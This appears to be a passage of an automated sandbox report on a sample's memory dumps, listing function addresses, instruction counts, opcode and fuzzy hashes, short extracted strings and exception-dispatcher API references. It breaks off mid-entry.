Opcode ID: a9e4c503b7264056cfa71f29983831534fff3bfe287e718e3c620df75dfe6a0e
Instruction ID: ce9d0aa238ffb49890d5c184763ed960dcb8eae8a8947deb20f035f3db7dc277
Opcode Fuzzy Hash: a9e4c503b7264056cfa71f29983831534fff3bfe287e718e3c620df75dfe6a0e
Instruction Fuzzy Hash: BB91047090424AEFC708EFBAE950B8E7BB6EB85304F04C86AC0019F6B9D774555ACF91

Uniqueness

Uniqueness Score: -1.00%

Function 023F07A8, Relevance: 1.4, Strings: 1, Instructions: 191COMMON

Download Yara Rule

Strings

"yN, xrefs: 023F0A9D

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID:
String ID: "yN
API String ID: 0-2406863617
Opcode ID: b06c04394cb4d7523b302423e57a3ee2bf504a854f9f380fa25eb890978aeb9b
Instruction ID: a6b764d716f3096b11bed34b63094072e80e3a820199d5968d15b6b6b099f5ef
Opcode Fuzzy Hash: b06c04394cb4d7523b302423e57a3ee2bf504a854f9f380fa25eb890978aeb9b
Instruction Fuzzy Hash: D491D27490024AEFC748EFBAE950B8EBBB6EB85304F10C869C0019F6B9D774555ACF91

Uniqueness

Uniqueness Score: -1.00%

Function 023F24C1, Relevance: 1.4, Strings: 1, Instructions: 149COMMON

Download Yara Rule

Strings

/|lk, xrefs: 023F2613

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID:
String ID: /|lk
API String ID: 0-2547412283
Opcode ID: 6d8f474c0795b961926039fc7fd4132ed2c609544c44d313ccbe8be3b8fc691d
Instruction ID: 226138f74c1d21c1ef85f78bf7d8af63401a12cf3220b10f38d21cc79f08255b
Opcode Fuzzy Hash: 6d8f474c0795b961926039fc7fd4132ed2c609544c44d313ccbe8be3b8fc691d
Instruction Fuzzy Hash: BC410E34F00108CBD798DB78A96576F76A7ABC9350F148436EA0AEF395DE74DC024791

Uniqueness

Uniqueness Score: -1.00%

Function 023F24D0, Relevance: 1.4, Strings: 1, Instructions: 138COMMON

Download Yara Rule

Strings

/|lk, xrefs: 023F2613

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID:
String ID: /|lk
API String ID: 0-2547412283
Opcode ID: 6f693e32bcdcca983f4453d7b53d4d083f21e29cf6a04e8461399ef2c3cc5037
Instruction ID: f5d4865f818125b9d77d3c3b34c45316f561372a6fb32ccbb2bc71212242092d
Opcode Fuzzy Hash: 6f693e32bcdcca983f4453d7b53d4d083f21e29cf6a04e8461399ef2c3cc5037
Instruction Fuzzy Hash: 9841DB70F00108DBDB98DB78A9657AF66EBABC9350F108435EA06EF395DE74DC014791

Uniqueness

Uniqueness Score: -1.00%

Function 006189BF, Relevance: .4, Instructions: 386COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2359205558.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c48b6b575c79061aa95f4a79f6ef7fb7600610d83dbaff5508f6ba1f5c612dc
Instruction ID: 2fb3b20e1cdece790f3fcc21f97672c1f50e1f7040a7b8bdf71e57ec05a5d99f
Opcode Fuzzy Hash: 9c48b6b575c79061aa95f4a79f6ef7fb7600610d83dbaff5508f6ba1f5c612dc
Instruction Fuzzy Hash: 9AF13A74E042198FDB64DF68D9917DDB7F2AF89304F1884AAD509AB344DB309EC28F91

Uniqueness

Uniqueness Score: -1.00%

Function 00600048, Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2359193990.0000000000600000.00000040.00000001.sdmp, Offset: 00600000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e25f0406c038637973eb4fd66a7b3862f2b3ccb71330731a32a1d8249e521f9f
Instruction ID: ddae0d2cdd4ea2d3a8c884b3d915af13be9236f710efd79e7a189b251a0ea146
Opcode Fuzzy Hash: e25f0406c038637973eb4fd66a7b3862f2b3ccb71330731a32a1d8249e521f9f
Instruction Fuzzy Hash: 51C1F130B50104DFEB58AFA4DD50B6E76E3AB84310F248529E615DF3E5DB34DC068B95

Uniqueness

Uniqueness Score: -1.00%

Function 023F6A1E, Relevance: .3, Instructions: 306COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 689e787a071ff8e352b90060cff8682f359e6ab1b8f99864663f624771cd2b98
Instruction ID: 53499ae2e1d77957e8ed8a335d6abe5fbe50139697254bcfea0deb860187f93e
Opcode Fuzzy Hash: 689e787a071ff8e352b90060cff8682f359e6ab1b8f99864663f624771cd2b98
Instruction Fuzzy Hash: 81E17270E012288FCBA8DB24DD547EEB7B6AF89304F0045E9D609A7355DB346E85CF85

Uniqueness

Uniqueness Score: -1.00%

Function 006005B0, Relevance: .3, Instructions: 291COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2359193990.0000000000600000.00000040.00000001.sdmp, Offset: 00600000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86b1757434a7a6cbc197f5919c55f9121dacb5cfcc72db485fad0be8c1130cbd
Instruction ID: 27451776322c257fb53e59e010d2fd96b297d6d37cf39b57e7b821e9ad3be047
Opcode Fuzzy Hash: 86b1757434a7a6cbc197f5919c55f9121dacb5cfcc72db485fad0be8c1130cbd
Instruction Fuzzy Hash: D2B19334E902088FEB48DFA8C5956AEF7F7AF88314F248526E016EB395D730DD418B41

Uniqueness

Uniqueness Score: -1.00%

Function 023F856C, Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da4de028377f4d645d5d0f606448c114287a7300d3c7758ab6668a3b8191deb7
Instruction ID: c976d58a8e5da41056618c9a673f173a699071451e17c55eabac1b6b66bd2623
Opcode Fuzzy Hash: da4de028377f4d645d5d0f606448c114287a7300d3c7758ab6668a3b8191deb7
Instruction Fuzzy Hash: F1C1B0B4A01214CFCB68DF24D950B9EB7B6FB84304F1085E9C6099B355DB319E86CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0061C900, Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2359205558.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 771d455b530a642b3f581f6c3103557526d42d896f7dc14451ba7c3f093f5b0e
Instruction ID: 72f3b7bf090c5bce426a246628a6704a62dd3bac18a7e48344988282eccb6b56
Opcode Fuzzy Hash: 771d455b530a642b3f581f6c3103557526d42d896f7dc14451ba7c3f093f5b0e
Instruction Fuzzy Hash: 9CA1A030F142098BDB58DBB8D9916AEB7E3AFC5314F258839D106DB394DB74AC46CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0061F180, Relevance: .2, Instructions: 250COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2359205558.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daea3cbf287b2386a00505fbb401ddf93e41b58d3994eea9c81790efdcf55cff
Instruction ID: 64cf869fc5deac9816b616c64ea35380955b183ca612d77492b07aa406bffd52
Opcode Fuzzy Hash: daea3cbf287b2386a00505fbb401ddf93e41b58d3994eea9c81790efdcf55cff
Instruction Fuzzy Hash: 80A19E34E10256DBCB44DF64D951AEEBBA3BB84714F188937E415AB390DB70DD81CB81

Uniqueness

Uniqueness Score: -1.00%

Function 023F86D1, Relevance: .2, Instructions: 242COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94971aa6548f0b5f29f0e0e145691482b97c10fbe2d92d707fe2c3fe665564d1
Instruction ID: e8f871f2d76bc9f9e902406ab32e1b2600cb4bc63a97cb3dce1a360f49f36d92
Opcode Fuzzy Hash: 94971aa6548f0b5f29f0e0e145691482b97c10fbe2d92d707fe2c3fe665564d1
Instruction Fuzzy Hash: 75A1B1B4A00214CFCBA8DF24E890BAA73B7FB84304F1485E8C6099B755DB319E86CF55

Uniqueness

Uniqueness Score: -1.00%

Function 023F0B80, Relevance: .2, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c5009a80c1b6675ad013f1060b637c82388757cd98a6dd4fb646e763bbe31d4
Instruction ID: 0e69ba8e07ce3420a7fc38f40c741dffa9e19779d990177efe69acf2e91453a9
Opcode Fuzzy Hash: 8c5009a80c1b6675ad013f1060b637c82388757cd98a6dd4fb646e763bbe31d4
Instruction Fuzzy Hash: 4071F431B042188FDB04CBA8D991AEEBFB6EF89314F158465E541AB352C770ED06CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0061B4B0, Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2359205558.0000000000610000.00000040.00000001.sdmp, Offset: 00610000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d424f26068881a94eee77a18c10cb827a941e46a11b4d19ddcd87e1dcb4ed869
Instruction ID: 156c56cf87939e3b0acd593aaaabfa8ca66351f132b08753c6c529350c360f79
Opcode Fuzzy Hash: d424f26068881a94eee77a18c10cb827a941e46a11b4d19ddcd87e1dcb4ed869
Instruction Fuzzy Hash: 9961E230B101049FCB48EFA4E991A9EB7A7FF88300F148579E5059B395EB30DD418B91

Uniqueness

Uniqueness Score: -1.00%

Function 00601A69, Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2359193990.0000000000600000.00000040.00000001.sdmp, Offset: 00600000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a9e7f41e8c0b5216b552c18197efac70210f962bcf64ee4fac8bb734d4fff3e
Instruction ID: 3a99de7ca8f2dc6a03255fe81f7d596b01bad2f117485b04c98337432e4c1a12
Opcode Fuzzy Hash: 4a9e7f41e8c0b5216b552c18197efac70210f962bcf64ee4fac8bb734d4fff3e
Instruction Fuzzy Hash: E761B331B841048FDB189B78D8556AE77E3AF8A315F21887AD016DF3A0EB35DC46C791

Uniqueness

Uniqueness Score: -1.00%

Function 00601788, Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2359193990.0000000000600000.00000040.00000001.sdmp, Offset: 00600000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b108cbe505a53f1ead9b413691f85fa44cf2579b4bbeec6e0f941e14f20ae6bb
Instruction ID: f665a751a6fb01b9d8e0ea7d9f42a4d874fc15580fde07703486855c27deabee
Opcode Fuzzy Hash: b108cbe505a53f1ead9b413691f85fa44cf2579b4bbeec6e0f941e14f20ae6bb
Instruction Fuzzy Hash: 2D5128347101084BD78CABF9DA607AFA69FDFC4344F24852AC50EDB3E4DE25DD869262

Uniqueness

Uniqueness Score: -1.00%

Function 023F9828, Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a606446c127b8dde0ad7a8e1f0209bd39c5e3c857b3a2c90a1290f499cd1f76
Instruction ID: 34b271026bc3cdec6cb315f4036df3a41737581cfb9f87947cf800e4a46f8250
Opcode Fuzzy Hash: 6a606446c127b8dde0ad7a8e1f0209bd39c5e3c857b3a2c90a1290f499cd1f76
Instruction Fuzzy Hash: 9E510530E00314CBDF94CF68E88179DFBA6EF85304F24C1AADA0A6F256C7719845CB92

Uniqueness

Uniqueness Score: -1.00%

Function 023F9818, Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ccfd3727fb9f71fa43713588999abdb3371f5b94dbc5c3a03d8aa623f54bb2f
Instruction ID: cb9856b535317664ca603855599e5acaeb773529d362e792a83d26e9574afb2b
Opcode Fuzzy Hash: 3ccfd3727fb9f71fa43713588999abdb3371f5b94dbc5c3a03d8aa623f54bb2f
Instruction Fuzzy Hash: 2E510430E043548BDF94CF68E88139DFBA6FF86304F24C1AAD90A6F256C7719945CB82

Uniqueness

Uniqueness Score: -1.00%

Function 023F9630, Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36a2c09dd218b5a7b3e5c0ff7713c383852e84733c930b9016b5d19d484b8f14
Instruction ID: 520aa372ff103a0fa145ef42ced55856872ca50cf944df9ab6dec142a206b461
Opcode Fuzzy Hash: 36a2c09dd218b5a7b3e5c0ff7713c383852e84733c930b9016b5d19d484b8f14
Instruction Fuzzy Hash: 7941B471F142464BDB84DFA4E991B6FB7A6ABC4218F11482AC309DB395DB30ED06C7D1

Uniqueness

Uniqueness Score: -1.00%

Function 023F77BB, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 274COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 023F7C2F
KiUserExceptionDispatcher.NTDLL ref: 023F7F57

Strings

)CG, xrefs: 023F7F9F

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID: )CG
API String ID: 6842923-2013215553
Opcode ID: 2a576e87e0efa943cd48eef34b95c1a76096b7af4704e8d258da94141096328c
Instruction ID: f9cab1dd18b40fb844bcb807e5b2457e6235ef8c21125575ef291c56c5b3a211
Opcode Fuzzy Hash: 2a576e87e0efa943cd48eef34b95c1a76096b7af4704e8d258da94141096328c
Instruction Fuzzy Hash: 9DD16A74A04318CFCBA5DF60D95479DB7BABF89205F1188E9C60AA7311DB31AE86CF11

Uniqueness

Uniqueness Score: -1.00%

Function 023F779A, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 274COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 023F7C2F
KiUserExceptionDispatcher.NTDLL ref: 023F7F57

Strings

)CG, xrefs: 023F7F9F

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID: )CG
API String ID: 6842923-2013215553
Opcode ID: 6a8670ba1a62f661d1d0476a4a8c70884339a8225d7512fad541d568d14aa030
Instruction ID: 8581c25afb095882d95470f8c0a3cacd6d0827d5eaa34ab96db2bb84ada88fab
Opcode Fuzzy Hash: 6a8670ba1a62f661d1d0476a4a8c70884339a8225d7512fad541d568d14aa030
Instruction Fuzzy Hash: 20D16B74A04318CFCBA5DF20D954799B7BABF8A305F1188E9C60AA7311DB316E86CF11

Uniqueness

Uniqueness Score: -1.00%

Function 023F7800, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 267COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 023F7C2F
KiUserExceptionDispatcher.NTDLL ref: 023F7F57

Strings

)CG, xrefs: 023F7F9F

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID: )CG
API String ID: 6842923-2013215553
Opcode ID: cb539d25c68efcc5b0dc6f663634eee1b75bb3ff78112f81854e8c8efb0a7190
Instruction ID: 71b5711fb3f2379667f7c95808fc8d172888f4960cd1f44ee93e07df1504a9de
Opcode Fuzzy Hash: cb539d25c68efcc5b0dc6f663634eee1b75bb3ff78112f81854e8c8efb0a7190
Instruction Fuzzy Hash: 53D15A74A04318CFCBA5DF60D95479DB7BABF89205F1188E9C60AA7311DB31AE86CF01

Uniqueness

Uniqueness Score: -1.00%

Function 023F7845, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 260COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 023F7C2F
KiUserExceptionDispatcher.NTDLL ref: 023F7F57

Strings

)CG, xrefs: 023F7F9F

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID: )CG
API String ID: 6842923-2013215553
Opcode ID: d9b8a036a245448a7e268c36843d38b0a152b8f04839381a9825d63a674ef29f
Instruction ID: 07fe3322c10caa500ff8017f0c6e623d2f3e203b6e9c278d652d155de611b188
Opcode Fuzzy Hash: d9b8a036a245448a7e268c36843d38b0a152b8f04839381a9825d63a674ef29f
Instruction Fuzzy Hash: A7D16A74A04318CFCBA5DF60D954799B7BABF89305F1188E9C60AA7311DB31AE86CF01

Uniqueness

Uniqueness Score: -1.00%

Function 023F788A, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 253COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 023F7C2F
KiUserExceptionDispatcher.NTDLL ref: 023F7F57

Strings

)CG, xrefs: 023F7F9F

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID: )CG
API String ID: 6842923-2013215553
Opcode ID: 6c2a26263ee8b7b42ac22ed60792ef3b11b646f62cd063e25d8a82cbc80d8091
Instruction ID: 21d42b03b71195a6fb00ddfc25e9d5ebfede4fd14bdcd7ad8d699ea52e743ed6
Opcode Fuzzy Hash: 6c2a26263ee8b7b42ac22ed60792ef3b11b646f62cd063e25d8a82cbc80d8091
Instruction Fuzzy Hash: 2DC17B74A04318CFCBA5DF60D95479DB7BABF89205F1188EAC60AA7311DB316E86CF41

Uniqueness

Uniqueness Score: -1.00%

Function 023F78CF, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 246COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 023F7C2F
KiUserExceptionDispatcher.NTDLL ref: 023F7F57

Strings

)CG, xrefs: 023F7F9F

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID: )CG
API String ID: 6842923-2013215553
Opcode ID: b88a516ee74117f6ab613b4e3e67bdce4d6fa19eff558753247e618bcfa5f99a
Instruction ID: 9124f71f25a538b4e66aa59d1eee3d11da5c898cf831ef53398fc535f1c36fe5
Opcode Fuzzy Hash: b88a516ee74117f6ab613b4e3e67bdce4d6fa19eff558753247e618bcfa5f99a
Instruction Fuzzy Hash: 89C16B74A04318CFCBA5DF60D95479DB7BABF89205F0189EAC60AA7311DB316E86CF41

Uniqueness

Uniqueness Score: -1.00%

Function 023F7914, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 239COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 023F7C2F
KiUserExceptionDispatcher.NTDLL ref: 023F7F57

Strings

)CG, xrefs: 023F7F9F

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID: )CG
API String ID: 6842923-2013215553
Opcode ID: a010f1fa6dfa3ca68cb95765858f3e1e311f9208349abda1a0b33489d3b07d4c
Instruction ID: 944ec87d3d18a9a7a4b0d30995193eba678afd967fa03eabea95cd4fb81fde2a
Opcode Fuzzy Hash: a010f1fa6dfa3ca68cb95765858f3e1e311f9208349abda1a0b33489d3b07d4c
Instruction Fuzzy Hash: 23C16A74A04318CFCBA5DF60D954699B7BABF89305F0185E9C60AA7311DB316E86CF41

Uniqueness

Uniqueness Score: -1.00%

Function 023F7959, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 232COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 023F7C2F
KiUserExceptionDispatcher.NTDLL ref: 023F7F57

Strings

)CG, xrefs: 023F7F9F

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID: )CG
API String ID: 6842923-2013215553
Opcode ID: 72e1cd4cfdc700235709962c9ce0fdd17ef2263c5db165ca688845d54f711244
Instruction ID: 4fe76523077b1196e63999c32e0c6ba8872ee9f278b5800b3e4be2c7fc3a98cc
Opcode Fuzzy Hash: 72e1cd4cfdc700235709962c9ce0fdd17ef2263c5db165ca688845d54f711244
Instruction Fuzzy Hash: B9B16B74A04318CFCBA5DF60D95469DB7BABF85305F0189E9C60AA7311DB316E86CF41

Uniqueness

Uniqueness Score: -1.00%

Function 023F799E, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 225COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 023F7C2F
KiUserExceptionDispatcher.NTDLL ref: 023F7F57

Strings

)CG, xrefs: 023F7F9F

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID: )CG
API String ID: 6842923-2013215553
Opcode ID: a81cfbb1ad13bd3241bde236856d95325fb0e213106d2b1d3f1c163117dc3395
Instruction ID: 85802f1d70d3a17dde9536e2d7aefa86c5097401de23131ac2c0dce44f11ac79
Opcode Fuzzy Hash: a81cfbb1ad13bd3241bde236856d95325fb0e213106d2b1d3f1c163117dc3395
Instruction Fuzzy Hash: 90B17A70A04318CFCBA5DF60D95469DB7BABF85305F1185EAC60AA7311DB31AE86CF41

Uniqueness

Uniqueness Score: -1.00%

Function 023F79E3, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 218COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 023F7C2F
KiUserExceptionDispatcher.NTDLL ref: 023F7F57

Strings

)CG, xrefs: 023F7F9F

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID: )CG
API String ID: 6842923-2013215553
Opcode ID: 512c765f09b2bad07293bbe1e1e9bf7ba86ed2f096c4129e1307dfd434871a74
Instruction ID: 1bc52354eac0e9975effc29783fdfc4f8d68c48b1ed347515038ddc80f427c1d
Opcode Fuzzy Hash: 512c765f09b2bad07293bbe1e1e9bf7ba86ed2f096c4129e1307dfd434871a74
Instruction Fuzzy Hash: 0BB16A74A04318CFCBA5DF60D95469DB7BABF85305F0185EAC60AA7311DB31AE86CF41

Uniqueness

Uniqueness Score: -1.00%

Function 023F7A28, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 211COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 023F7C2F
KiUserExceptionDispatcher.NTDLL ref: 023F7F57

Strings

)CG, xrefs: 023F7F9F

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID: )CG
API String ID: 6842923-2013215553
Opcode ID: e6da3552733a94070ef8b403c9acc5451a6ace067ac7c4f3d06b4ea8f8def7cf
Instruction ID: a285f2865ddaa1e47b053e62c890a7a24992cf8de5e04c3efdb1036bc61a6f2e
Opcode Fuzzy Hash: e6da3552733a94070ef8b403c9acc5451a6ace067ac7c4f3d06b4ea8f8def7cf
Instruction Fuzzy Hash: C2A14A74A04318CFCBA5DF60D954699B7BABF85305F0185EAC60AA7311DB31AE86CF41

Uniqueness

Uniqueness Score: -1.00%

Function 023F7A6D, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 204COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 023F7C2F
KiUserExceptionDispatcher.NTDLL ref: 023F7F57

Strings

)CG, xrefs: 023F7F9F

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID: )CG
API String ID: 6842923-2013215553
Opcode ID: 7c3861bf83bc3fc3e42cd28b90b024ad240b1ff6ce9008733e1fdf58ef81d4b8
Instruction ID: 49e72e3376ed3c3191945c88816e0bae366799e7d67dea4030f3962c5e6bb390
Opcode Fuzzy Hash: 7c3861bf83bc3fc3e42cd28b90b024ad240b1ff6ce9008733e1fdf58ef81d4b8
Instruction Fuzzy Hash: 6CA15A74A04318CFCBA5DF60D954799B7BABF85305F0185EAC60AA7311DB31AE86CF41

Uniqueness

Uniqueness Score: -1.00%

Function 023F7AB2, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 023F7C2F
KiUserExceptionDispatcher.NTDLL ref: 023F7F57

Strings

)CG, xrefs: 023F7F9F

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID: )CG
API String ID: 6842923-2013215553
Opcode ID: 1fc98c30474815ab748a4cee31fdbf019e5ea9ea456ebf659698181d1d03ae50
Instruction ID: ca521cc77c827a8387448f20f803a8cb02fb4ba512209a065af87682118109ab
Opcode Fuzzy Hash: 1fc98c30474815ab748a4cee31fdbf019e5ea9ea456ebf659698181d1d03ae50
Instruction Fuzzy Hash: 2D916A70A04318CFCBA5DF70D954699B7BABF86305F0185EAC60AA7311DB31AE86CF41

Uniqueness

Uniqueness Score: -1.00%

Function 023F7AF7, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 190COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 023F7C2F
KiUserExceptionDispatcher.NTDLL ref: 023F7F57

Strings

)CG, xrefs: 023F7F9F

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID: )CG
API String ID: 6842923-2013215553
Opcode ID: fff5d185116c4b78f11a4b0d4e474d660a0f4b9f4f0d41881d7ac98f07fa89a4
Instruction ID: 1be6821baa45050231998e133785df6a0ed0991163f0eee619500292808f1903
Opcode Fuzzy Hash: fff5d185116c4b78f11a4b0d4e474d660a0f4b9f4f0d41881d7ac98f07fa89a4
Instruction Fuzzy Hash: F8915A74A04318CFCBA5DF60D954699B7BABF89305F0185EAC60AA7311DB31AE82CF41

Uniqueness

Uniqueness Score: -1.00%

Function 023F7B3C, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 183COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 023F7C2F
KiUserExceptionDispatcher.NTDLL ref: 023F7F57

Strings

)CG, xrefs: 023F7F9F

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID: )CG
API String ID: 6842923-2013215553
Opcode ID: cd40e0f22f5d2f8935bf1ac576cd8390efe2a61336049b4fe460e510fad51d47
Instruction ID: 52cd292438ea81eabce0dee7c2a961375d5fd0728d6952326cb13ce966b0cfcd
Opcode Fuzzy Hash: cd40e0f22f5d2f8935bf1ac576cd8390efe2a61336049b4fe460e510fad51d47
Instruction Fuzzy Hash: 73914A74A04318CFCBA9DF60D954699B7BABF85305F0185EAD60AA7311DB31AE82CF41

Uniqueness

Uniqueness Score: -1.00%

Function 023F7B81, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 176COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 023F7C2F
KiUserExceptionDispatcher.NTDLL ref: 023F7F57

Strings

)CG, xrefs: 023F7F9F

Memory Dump Source

Source File: 00000009.00000002.2359966099.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID: DispatcherExceptionUser
String ID: )CG
API String ID: 6842923-2013215553
Opcode ID: f66624dbb00a4335c5ad55e3b3819faf486f30663373636f761b3cebf14d9108
Instruction ID: b984db120343771df1c349241bff17d3440e1707e1099483ef433f10dd5ceab8
Opcode Fuzzy Hash: f66624dbb00a4335c5ad55e3b3819faf486f30663373636f761b3cebf14d9108
Instruction Fuzzy Hash: 18814B70A04318CFCBA5DF64D954799B7BABF89305F0185EAD60AA7311DB31AE82CF41

Uniqueness

Uniqueness Score: -1.00%

Function 023F7BC6, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 169COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 023F7C2F
KiUserExceptionDispatcher.NTDLL ref: 023F7F57

Strings

)CG, xrefs: 023F7F9F

Memory Dump Source

